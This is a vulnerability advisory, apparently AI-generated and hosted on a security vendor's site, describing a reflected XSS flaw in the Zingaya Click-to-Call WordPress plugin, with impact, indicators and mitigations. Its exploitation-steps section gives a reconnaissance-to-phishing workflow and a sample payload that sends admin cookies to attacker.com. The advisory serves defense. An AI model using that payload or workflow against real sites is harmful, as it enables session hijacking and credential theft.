CVE-2026-6696
WordPress vulnerability analysis and mitigation

Overview

CVE-2026-6696 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Zingaya Click-to-Call plugin for WordPress, affecting all versions up to and including 1.0. The flaw exists in the plugin's sign-up admin page, where the email, first_name, last_name, and phone parameters are not properly sanitized or escaped. It was published on May 5, 2026, and assigned a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, Wordfence).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting). The root cause is insufficient input sanitization and output escaping of user-supplied values (email, first_name, last_name, phone) on the plugin's sign-up admin page (zingaya-admin.php, lines 62, 71, 79, and 104). An unauthenticated attacker can craft a malicious URL containing injected JavaScript in these parameters; when a victim (such as a logged-in administrator) clicks the link, the script executes in their browser context. No authentication or special privileges are required by the attacker, but user interaction is necessary (GitHub Advisory, Wordfence).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of a victim who clicks a crafted link, with the script running in the context of the affected WordPress site. If the victim is an administrator, this can lead to session hijacking, credential theft, unauthorized administrative actions, malware distribution to site visitors, or data exfiltration from the WordPress installation. Availability is not directly impacted, but confidentiality and integrity are both at low risk per the CVSS assessment (GitHub Advisory, Wordfence).

Exploitability

There is no public proof-of-concept exploit and no evidence of active in-the-wild exploitation as of the time of disclosure (Wordfence). The EPSS score is approximately 0.10–0.16%, indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported (GitHub Advisory).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the Zingaya Click-to-Call plugin (version ≤ 1.0) using search engines, Shodan, or WordPress plugin enumeration tools.
  2. Identify vulnerable endpoint: Locate the plugin's sign-up admin page, typically accessible at a URL such as /wp-admin/admin.php?page=zingaya-click-to-call or similar, which renders the email, first_name, last_name, and phone parameters without sanitization.
  3. Craft malicious URL: Construct a URL targeting the vulnerable admin page with an XSS payload injected into one or more of the vulnerable parameters, e.g., https://target.com/wp-admin/admin.php?page=zingaya-signup&email=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver the link: Send the crafted URL to a target user (preferably a WordPress administrator) via phishing email, social engineering, or other means.
  5. Payload execution: When the victim clicks the link and the page loads, the injected script executes in their browser, potentially exfiltrating session cookies or performing actions on behalf of the victim (GitHub Advisory, Wordfence).

Indicators of compromise

  • Network: Outbound requests from a victim's browser to unexpected external domains shortly after accessing the WordPress admin panel; unusual HTTP GET/POST requests to the Zingaya plugin admin page with encoded or suspicious parameter values.
  • Logs: WordPress or web server access logs showing requests to the Zingaya sign-up admin page with URL-encoded script tags or JavaScript payloads in email, first_name, last_name, or phone parameters (e.g., %3Cscript%3E).
  • File System: Unexpected new admin accounts, modified WordPress options, or injected content in the database that could indicate post-exploitation activity following session hijacking.
  • Process/Session: Unusual administrative actions (plugin installs, user creation, settings changes) in WordPress audit logs occurring shortly after a suspicious admin page access (Wordfence).

Mitigation and workarounds

No patched version of the Zingaya Click-to-Call plugin beyond version 1.0 has been confirmed as available at the time of disclosure. Site administrators should disable or remove the plugin immediately if it is not actively required. If the plugin must remain active, restrict access to the sign-up admin page using server-level authentication controls and deploy a Web Application Firewall (WAF) with rules targeting XSS payloads in the affected parameters. Monitor the WordPress plugin repository and the vendor for any security updates (GitHub Advisory, Wordfence).

Community reactions

Wordfence reported this vulnerability as part of their weekly WordPress vulnerability intelligence reports for the weeks of May 4–10 and May 11–17, 2026, highlighting it among other plugin-level XSS issues (Wordfence Weekly May 4, Wordfence Weekly May 11). No notable independent researcher commentary or significant social media discussion beyond automated CVE tracking posts has been observed.

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-16974MEDIUM6.4
  • kirki
NoYesAug 11, 2026
CVE-2026-14549NONEN/A
  • lingotek-translation
NoNoAug 11, 2026
CVE-2026-14548NONEN/A
  • lingotek-translation
NoNoAug 11, 2026
CVE-2026-19089NONEN/A
  • product-input-fields-for-woocommerce
NoYesAug 10, 2026
CVE-2026-19077NONEN/A
  • copy-delete-posts
NoYesAug 10, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management